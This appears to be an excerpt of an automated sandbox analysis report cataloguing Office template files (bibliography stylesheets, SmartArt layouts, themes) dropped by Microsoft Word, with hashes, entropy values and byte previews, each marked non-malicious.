Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.n.a.m.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDBB0.tmp\gostname.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Local\Temp\TCDDBC1.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.537169234443227
Encrypted:	false
SSDEEP:	6:fxnxUXfQIUA/e/Wl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXZ/eulNGHmD0wbnKYZAH/lMZqiv
MD5:	9C00979164E78E3B890E56BE2DF00666
SHA1:	1FA3C439D214C34168ADF0FBA5184477084A0E51
SHA-256:	21CCB63A82F1E6ACD6BAB6875ABBB37001721675455C746B17529EE793382C7B
SHA-512:	54AC8732C2744B60DA744E54D74A2664658E4257A136ABE886FF21585E8322E028D8243579D131EF4E9A0ABDDA70B4540A051C8B8B60D65C3EC0888FD691B9A7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0.n.m.e.r.i.c.a.l...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDBC1.tmp\iso690nmerical.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Local\Temp\TCDDBC2.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.48087342759872
Encrypted:	false
SSDEEP:	6:fxnxUXXt1MIae2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyfMIaRGHmD0+dAH/luWvv
MD5:	69757AF3677EA8D80A2FBE44DEE7B9E4
SHA1:	26AF5881B48F0CB81F194D1D96E3658F8763467C
SHA-256:	0F14CA656CDD95CAB385F9B722580DDE2F46F8622E17A63F4534072D86DF97C3
SHA-512:	BDA862300BAFC407D662872F0BFB5A7F2F72FE1B7341C1439A22A70098FA50C81D450144E757087778396496777410ADCE4B11B655455BEDC3D128B80CFB472A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.i.c.t.u.r.e.F.r.a.m.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDBC2.tmp\PictureFrame.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Local\Temp\TCDDBE2.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.4895685222798054
Encrypted:	false
SSDEEP:	6:fxnxUX4cPBl4xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyPl4xoGHmD0+dAH/luWvv
MD5:	63E8B0621B5DEFE1EF17F02EFBFC2436
SHA1:	2D02AD4FD9BF89F453683B7D2B3557BC1EEEE953
SHA-256:	9243D99795DCDAD26FA857CB2740E58E3ED581E3FAEF0CB3781CBCD25FB4EE06
SHA-512:	A27CDA84DF5AD906C9A60152F166E7BD517266CAA447195E6435997280104CBF83037F7B05AE9D4617323895DCA471117D8C150E32A3855156CB156E15FA5864
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.r.y.i.n.g.W.i.d.t.h.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDBE2.tmp\VaryingWidthList.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Local\Temp\TCDDBF3.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.438490642908344
Encrypted:	false
SSDEEP:	6:fxnxUXZlaWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyplagN2RGHmD0wbnKYZAH+Vwv
MD5:	0F98498818DC28E82597356E2650773C
SHA1:	1995660972A978D17BC483FCB5EE6D15E7058046
SHA-256:	4587CA0B2A60728FF0A5B8E87D35BF6C6FDF396747E13436EC856612AC1C6288
SHA-512:	768562F20CFE15001902CCE23D712C7439721ECA6E48DDDCF8BFF4E7F12A3BC60B99C274CBADD0128EEA1231DB19808BAA878E825497F3860C381914C21B46FF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.l.e.m.e.n.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCDDBF3.tmp\Element design set.dotx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Local\Temp\TCDDC24.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	264
Entropy (8bit):	3.4866056878458096
Encrypted:	false
SSDEEP:	6:fxnxUX0XrZUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXWloGHmD0+dAH/luWvv
MD5:	6C489D45F3B56845E68BE07EA804C698
SHA1:	C4C9012C0159770CB882870D4C92C307126CEC3F
SHA-256:	3FE447260CDCDEE287B8D01CF5F9F53738BFD6AAEC9FB9787F2826F8DEF1CA45
SHA-512:	D1355C48A09E7317773E4F1613C4613B7EA42D21F5A6692031D288D69D47B19E8F4D5A29AFD8B751B353FC7DE865EAE7CFE3F0BEC05F33DDF79526D64A29EB18
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDC24.tmp\ThemePictureAccent.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Local\Temp\TCDDC35.tmp\Banded.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDDC35.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.535736910133401
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeAlFkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyRGymD0wbnKNAH/lMz1
MD5:	487E25E610F3FC2EEA27AB54324EA8F6
SHA1:	11C2BB004C5E44503704E9FFEEFA7EA7C2A9305C
SHA-256:	022EC5077279A8E447B590F7260E1DBFF764DE5F9CDFD4FDEE32C94C66D4A1A2
SHA-512:	B8DF351E2C0EF101CF91DC02E136A3EE9C1FDB18294BECB13A29D676FBBE791A80A58A18FBDEB953BC21EC54EB7608154D401407C461ABD10ACB94CE8AD0E092
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.n.d.e.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDC79.tmp\Basis.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDDC79.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5361139545278144
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeMWMluRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnycMlMymD0wbnKNAH/lMz1
MD5:	133D126F0DE2CC4B29ECE38194983265
SHA1:	D8D701298D7949BE6235493925026ED405290D43
SHA-256:	08485EBF168364D846C6FD55CD9089FE2090D1EE9D1A27C1812E1247B9005E68
SHA-512:	75D7322BE8A5EF05CAA48B754036A7A6C56399F17B1401F3F501DA5F32B60C1519F2981043A773A31458C3D9E1EF230EC60C9A60CAC6D52FFE16147E2E0A9830
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.s.i.s...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDC89.tmp\Frame.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDDC89.tmp\content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5159096381406645
Encrypted:	false
SSDEEP:	6:Q+sxnxUXQIa3ARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygIaqymD0wbnKNAH/lMz1
MD5:	71CCB69AF8DD9821F463270FB8CBB285
SHA1:	8FED3EB733A74B2A57D72961F0E4CF8BCA42C851
SHA-256:	8E63D7ABA97DABF9C20D2FAC6EB1665A5D3FDEAB5FA29E4750566424AE6E40B4
SHA-512:	E62FC5BEAEC98C5FDD010FABDAA8D69237D31CA9A1C73F168B1C3ED90B6A9B95E613DEAD50EB8A5B71A7422942F13D6B5A299EB2353542811F2EF9DA7C3A15DC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .F.r.a.m.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDDCC9.tmp\Dividend.thmx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
